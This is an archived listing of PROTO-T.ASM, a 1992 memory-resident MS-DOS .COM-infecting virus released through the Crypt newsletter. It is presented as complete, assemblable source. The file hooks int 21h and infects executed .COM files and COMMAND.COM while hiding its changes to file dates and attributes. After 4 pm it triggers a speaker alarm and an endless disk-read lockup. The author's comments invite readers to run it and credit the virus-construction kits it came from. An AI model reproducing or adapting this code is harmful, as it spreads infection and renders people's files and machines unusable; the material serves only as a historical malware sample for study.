home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 2 / HACKER2.BIN / 267.PROTO-T.ASM < prev    next >
Assembly Source File  |  1992-11-11  |  14KB  |  421 lines

  1. ;PROTO-T virus: a simple, memory resident .COM infector for
  2. ;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler.
  3. ;
  4. ;On call, PROTO-T will manipulate the interrupt table directly, hooking
  5. ;int 21h and decreasing the amount of memory by a little over 1k. 
  6. ;It will infect COMMAND.COM
  7. ;if a shell is installed while the virus is in RAM. At start,
  8. ;PROTO-T polls the system time. If it is after 4:00 in the
  9. ;afternoon, the speaker will issue a hideous ringing noise and the
  10. ;hard file will be read very quickly, faking a massive Michelangelo-style
  11. ;trashing. The disk will continue to read until the user restores
  12. ;control by booting. (I took this slick routine from the first issue
  13. ;of "Computer Virus Developments Quarterly," edited by Mark Ludwig, American
  14. ;Eagle Publishing, Tucson, AZ.) The disk effect is harmless, but unsettling
  15. ;to those surprised by it. Heh.
  16. ;
  17. ;Files infected with PROTO-T will generally function normally until
  18. ;4 in the afternoon, when the virus locks them up until the next
  19. ;day by way of the nuisance routines described above. Infected files have
  20. ;the ASCII string, 'This program is sick. [PROTO-T by Dumbco, INC.]'
  21. ;appended to them at the end where the body of the virus is located.
  22. ;
  23. ;PROTO-T is not currently scanned. However, its modifications are easily
  24. ;flagged by a good file integrity checker. For example, Dr. Solomon's 
  25. ;Toolkit picked PROTO-T changes off an infected disk with both the QCV 
  26. ;(quick check virus) and CHKVIRUS (CHECKVIRUS) utilities. Unfortunately, 
  27. ;the novice user is left on his own by the Toolkit to determine the cause 
  28. ;of the changes - a drawback which diminishes the software's value 
  29. ;considerably, IMHO.
  30. ;
  31. ;I encourage you to play with PROTO-T by Dumbco. It is a 
  32. ;well-behaved resident virus, useful in demonstrating the behavior
  33. ;of simple resident infectors and how they can "pop-up" suddenly and
  34. ;ruin your day. Of course, files infected by PROTO-T are, for all
  35. ;intents and purposes, useless for future computing unless you like
  36. ;the idea of a resident virus keeping you company and freezing up
  37. ;your work late in the afternoon.
  38. ;
  39. ;Known incompatibilities:  PROTO-T will behave weirdly on machines
  40. ;using SYMANTEC's NDOS as a command processor. And some caches will
  41. ;cause PROTO-T to hang the machine immediately. For best results,
  42. ;plain vanilla MS-DOS 4.01 and MS-DOS 5.0 with or without memory 
  43. ;management seems to work fine. (Ain't this somethin': software
  44. ;advisories with a virus!)
  45. ;
  46. ;Code for PROTO-T was obtained from Nowhere Man's VCL 1.0 assembly libraries,
  47. ;& our European friends Dark Helmet and Peter Venkmann with their very
  48. ;complete code archives (in particular, the CIVIL_II template). The 
  49. ;'scarey ' subroutine was excerpted from "Computer Virus Developments 
  50. ;Quarterly", Vol. 1., No.1.
  51.  
  52.  
  53.         .radix 16
  54.      code       segment
  55.         model  small
  56.         assume cs:code, ds:code, es:code
  57.  
  58.         org 100h
  59.  
  60. length          equ offset last - begin
  61. virus_length    equ length / 16d 
  62.  
  63. host:          db 0E9h, 03h, 00h, 44h, 48h, 00h         ;jump + infection
  64.                             ;marker in host
  65.  
  66. begin:          
  67.         
  68.         call virus             ;make call to
  69.                        ;push instruction pointer on stack
  70.  
  71. virus:          
  72.         
  73.  
  74.         mov     ah,02Ch          ;DOS get time function
  75.         int     021h
  76.         mov     al,ch            ;Copy hour into AL
  77.         cbw                      ;Sign-extend AL into AX
  78.         cmp     ax,0010h         ;Did the function return 16 (4 pm)?
  79.         jge     malfunkshun      ;If after 4 pm, do Proto-T thang!
  80.         jmp     getonwithit
  81.         
  82. malfunkshun:                                 ;sound and fury start
  83.         cli                          ;turn off interrupts
  84.         mov     dx,2                 
  85. agin1:          mov     bp,40                ;do 40 cycles of sound
  86.         mov     si,1000              ;1st frequency
  87.         mov     di,2000              ;2nd frequency
  88.         mov     al,10110110b         ;address of channel 2 mode 3
  89.         out     43h,al               ;send to port
  90. agin2:          mov     bx,si                ;place sound number in bx
  91. backerx:        mov     ax,bx                ;now put in ax
  92.         out     42h,al               
  93.         mov     al,ah                
  94.         out     42h,al               
  95.         in      al,61h               ;get port value
  96.         or      al,00000011b         ;turn speaker on
  97.         out     61h,al               
  98.         mov     cx,2EE0h             ;delay 
  99. looperx:        loop    looperx        ;do nothing loop so sound is audible
  100.         xchg    di,si                
  101.         in      al,61h               ;get port value
  102.         and     al,11111100b         ;AND - turn speaker off
  103.         out     61h,al               ;send it
  104.         dec     bp                   ;decrement repeat count
  105.         jnz     agin2                ;if not = 0 do again
  106.         mov     ax,10                ;10 repeats of 60000 loops
  107. back:           mov     cx,0EA60h            ;loop count (in hex for TASM)
  108. loopery:        loop    loopery         ;delay loops - no sound between bursts
  109.         dec     ax                   
  110.         jnz     back                 ;if not = 0 loop again
  111.         dec     dx                   
  112.         jnz     agin1                ;if not = 0 do whole thing again
  113.         sti                          ;restore interrupts 
  114.         
  115.         
  116.         
  117.         mov     si,0              ;scarey part: drive reads real
  118. scarey:         lodsb                     ;fast ala Michelangelo-style
  119.         mov     ah,al             ;over-write, but this routine only
  120.         lodsb                     ;gets random bytes here for a 
  121.         and     al,3              ;cylinder to READ
  122.         mov     dl,80h
  123.         mov     dh,al
  124.         mov     ch,ah
  125.         mov     cl,1
  126.         mov     bx,offset last    ;buffer to read into
  127.         mov     ax,201h
  128.         int     13h
  129.         jmp     short scarey      ;yow! scarey! just think if this
  130.                       ;was made by someone not as nice as
  131.                       ;me
  132.  
  133. note            db     'This program is sick. [PROTO-T by Dumbco, INC.]'
  134.  
  135. getonwithit:    pop     bp                              ; get IP from stack.
  136.         sub     bp,109h                         ; adjust IP.
  137.  
  138. restore_host:   mov     di,0100h                        ; recover beginning
  139.         lea     si,ds:[carrier_begin+bp]        ; of carrier program.
  140.         mov     cx,06h
  141.         rep     movsb
  142.  
  143.  
  144. check_resident: mov     ah,0A0h                      ;check if virus
  145.         int     21h                          ;already installed.
  146.         cmp     ax,0001h
  147.         je      end_virus
  148.  
  149. adjust_memory:  mov     ax,cs                        ;get Memory 
  150.         dec     ax                           ;Control Block
  151.         mov     ds,ax                        
  152.         cmp     byte ptr ds:[0000],5a        ;check if last
  153.                              ;block -
  154.         jne     abort                        ;if not last block,
  155.                              ;end
  156.         mov     ax,ds:[0003]                 ;decrease memory
  157.         sub     ax,50                        ;by 1kb 
  158.         mov     ds:0003,ax
  159.  
  160. install_virus:  mov     bx,ax                        ;PSP
  161.         mov     ax,es                        ;virus start 
  162.         add     ax,bx                        ;in memory
  163.         mov     es,ax
  164.         mov     cx,length                    ;cx = length virus
  165.         mov     ax,ds                        ;restore ds
  166.         inc     ax
  167.         mov     ds,ax
  168.         lea     si,ds:[begin+bp]             ;point to start virus
  169.         lea     di,es:0100                   ;point to destination
  170.         rep     movsb                        ;copy virus in
  171.                              ;memory
  172.         mov     [virus_segment+bp],es        ;store start of virus
  173.                              ;in memory
  174.         mov     ax,cs                        ;restore extra segment
  175.         mov     es,ax
  176.  
  177. hook_vector:    cli                              ;disable interrupts
  178.                          ;because we're manipulating
  179.         mov     ax,3521h                 ;the interrupt table and a   
  180.                          ;crash would look bad
  181.         int     21h                      ;function 3521h - retrieve
  182.         mov     ds,[virus_segment+bp]    ;address of current handler
  183.         mov     ds:[old_21h-6h],bx
  184.         mov     ds:[old_21h+2-6h],es
  185.         mov     dx,offset main_virus - 6h
  186.         mov     ax,2521h                ;copy new address (virus) to
  187.         int     21h                     ;interrupt table
  188.         sti                             ;interrupts on
  189.  
  190. abort:          mov     ax,cs                  ;restore everything
  191.         mov     ds,ax
  192.         mov     es,ax
  193.         xor     ax,ax
  194.  
  195. end_virus:      
  196.  
  197.         
  198.         mov     bx,0100h               ;jump to beginning
  199.         jmp     bx                     ;of host file
  200.  
  201.         
  202. ;***************************************************************************
  203.  
  204. main_virus:     pushf                                   
  205.         cmp     ah,0A0h                    ;check for virus 
  206.         jne     new_21h                    ;no virus call
  207.         mov     ax,0001h                   ;ax = id
  208.         popf                               ;return id     
  209.         iret
  210.         
  211. new_21h:        push    ds                         ;save registers
  212.         push    es
  213.         push    di
  214.         push    si
  215.         push    ax
  216.         push    bx
  217.         push    cx
  218.         push    dx
  219.  
  220.         cmp     ah,40h
  221.         jne     check_05
  222.         cmp     bx,0004h
  223.         jne     check_05
  224.  
  225. check_05:       cmp     ah,05h
  226.         jne     check_exec
  227.  
  228. check_exec:     cmp     ax,04B00h             ;intercept execute function
  229.         jne     continue
  230.         mov     cs:[name_seg-6],ds
  231.         mov     cs:[name_off-6],dx
  232.         jmp     chk_com               ;goto check target
  233.  
  234. continue:       pop     dx                    ;restore registers
  235.         pop     cx
  236.         pop     bx
  237.         pop     ax
  238.         pop     si
  239.         pop     di
  240.         pop     es
  241.         pop     ds
  242.         popf
  243.         jmp     dword ptr cs:[old_21h-6]
  244.  
  245. chk_com:        cld                           ;check extension of loaded file
  246.         mov     di,dx                 ;for COM
  247.         push    ds
  248.         pop     es
  249.         mov     al,'.'                  ;search extension
  250.         repne   scasb                   ;for 'COM', so
  251.         cmp     word ptr es:[di],'OC'   ;check 'CO'
  252.         jne     continue                ;and
  253.         cmp     word ptr es:[di+2],'M'  ;check 'M'
  254.         jne     continue                      
  255.                              
  256.         call    set_int24h                   
  257.         call    set_attribute
  258.                 
  259. open_file:      mov     ds,cs:[name_seg-6]   ;name of target file
  260.         mov     dx,cs:[name_off-6]
  261.         mov     ax,3D02h             ;open file
  262.         call    do_int21h            ;simulate int21 call, see below
  263.         jc      close_file
  264.         push    cs
  265.         pop     ds
  266.         mov     [handle-6],ax
  267.         mov     bx,ax   
  268.  
  269.         call    get_date        
  270.         
  271. check_infect:   push    cs
  272.         pop     ds
  273.         mov     bx,[handle-6]        ;read first 6 bytes
  274.         mov     ah,3fh
  275.         mov     cx,06h
  276.         lea     dx,[carrier_begin-6]
  277.         call    do_int21h
  278.         mov     al, byte ptr [carrier_begin-6]+3 ; check initials
  279.         mov     ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
  280.         cmp     ax,[initials-6]
  281.         je      save_date                ;if equal, already
  282.                          ;infected
  283.         
  284. get_length:     mov     ax,4200h                 ;set file pointer to begin
  285.         call    move_pointer
  286.         mov     ax,4202h                 ;set file pointer to end
  287.         call    move_pointer
  288.         sub     ax,03h                   ;ax = file length
  289.         mov     [length_file-6],ax
  290.         
  291.         call    write_jmp
  292.         call    write_virus              ;summon write virus to file                     
  293.                          
  294. save_date:      push    cs                       ;save date of file
  295.         pop     ds
  296.         mov     bx,[handle-6]
  297.         mov     dx,[date-6]
  298.         mov     cx,[time-6]
  299.         mov     ax,5701h
  300.         call    do_int21h
  301.  
  302. close_file:     mov     bx,[handle-6]
  303.         mov     ah,03eh                    ;close file
  304.         call    do_int21h
  305.         
  306.         mov     dx,cs:[old_24h-6]          ;restore int24h
  307.         mov     ds,cs:[old_24h+2-6]
  308.         mov     ax,2524h
  309.         call    do_int21h
  310.         
  311.         jmp     continue         
  312.         
  313.         
  314.  
  315.  
  316. new_24h:        mov     al,3            ;critical error handler
  317.         iret
  318.  
  319.  
  320. ;---------------------------------------------------------------------------
  321. ;                       PROCEDURES
  322. ;---------------------------------------------------------------------------
  323.  
  324.  
  325.  
  326. move_pointer:   push    cs
  327.         pop     ds
  328.         mov     bx,[handle-6]
  329.         xor     cx,cx
  330.         xor     dx,dx
  331.         call    do_int21h
  332.         ret
  333.                         ;since virus owns int21, a
  334. do_int21h:      pushf                           ;direct call would be counter
  335.         call    dword ptr cs:[old_21h-6];productive, so do a pushf
  336.         ret                           ;and call combination - Dark
  337.                           ;Angel's virus guide is great
  338. write_jmp:      push    cs                    ;at expalining this
  339.         pop     ds
  340.         mov     ax,4200h        ;set pointer to beginning of file
  341.         call    move_pointer
  342.         mov     ah,40h
  343.         mov     cx,01h
  344.         lea     dx,[jump-6]
  345.         call    do_int21h
  346.         mov     ah,40h
  347.         mov     cx,02h
  348.         lea     dx,[length_file-6]
  349.         call    do_int21h
  350.         mov     ah,40h
  351.         mov     cx,02h
  352.         lea     dx,[initials-6]
  353.         call    do_int21h
  354.         ret
  355.  
  356. write_virus:    push    cs
  357.         pop     ds
  358.         mov     ax,4202h       ;write to file function
  359.         call    move_pointer
  360.         mov     ah,40
  361.         mov     cx,length      ;virus length
  362.         mov     dx,100
  363.         call    do_int21h      ;do it
  364.         ret
  365.  
  366. get_date:       mov     ax,5700h        ;retrieve date function
  367.         call    do_int21h       ;do it
  368.         push    cs
  369.         pop     ds
  370.         mov     [date-6],dx      ;restore date & time
  371.         mov     [time-6],cx
  372.         ret
  373.                      ;set up critical error handler
  374. set_int24h:     mov     ax,3524h         ;request address of current handler
  375.         call    do_int21h        ;simulate int21 call
  376.         mov     cs:[old_24h-6],bx
  377.         mov     cs:[old_24h+2-6],es
  378.         mov     dx,offset new_24h-6
  379.         push    cs
  380.         pop     ds
  381.         mov     ax,2524h         ;set vector to virus handler
  382.         call    do_int21h        ;do it
  383.         ret
  384.  
  385. set_attribute:  mov     ax,4300h           ;get attribute
  386.         mov     ds,cs:[name_seg-6]
  387.         mov     dx,cs:[name_off-6]
  388.         call    do_int21h
  389.         and     cl,0feh                ;set attribute
  390.         mov     ax,4301h
  391.         call    do_int21h               
  392.         ret
  393.  
  394.     
  395.  
  396.  
  397.  
  398.  
  399. ;---------------------------------------------------------------------------
  400. ;                               DATA
  401. ;---------------------------------------------------------------------------
  402.  
  403.  
  404. old_21h         dw  00h,00h
  405. old_17h         dw  00h,00h
  406. old_24h         dw  00h,00h
  407. carrier_begin   db  090h, 0cdh, 020h, 044h, 048h, 00h
  408. jump            db  0E9h
  409. name_seg        dw  ?
  410. name_off        dw  ?
  411. virus_segment   dw  ?
  412. length_file     dw  ?
  413. handle          dw  ?
  414. date            dw  ?
  415. time            dw  ?
  416. initials        dw  4844h
  417. last            db  090h
  418.  
  419. code            ends
  420.         end host
  421.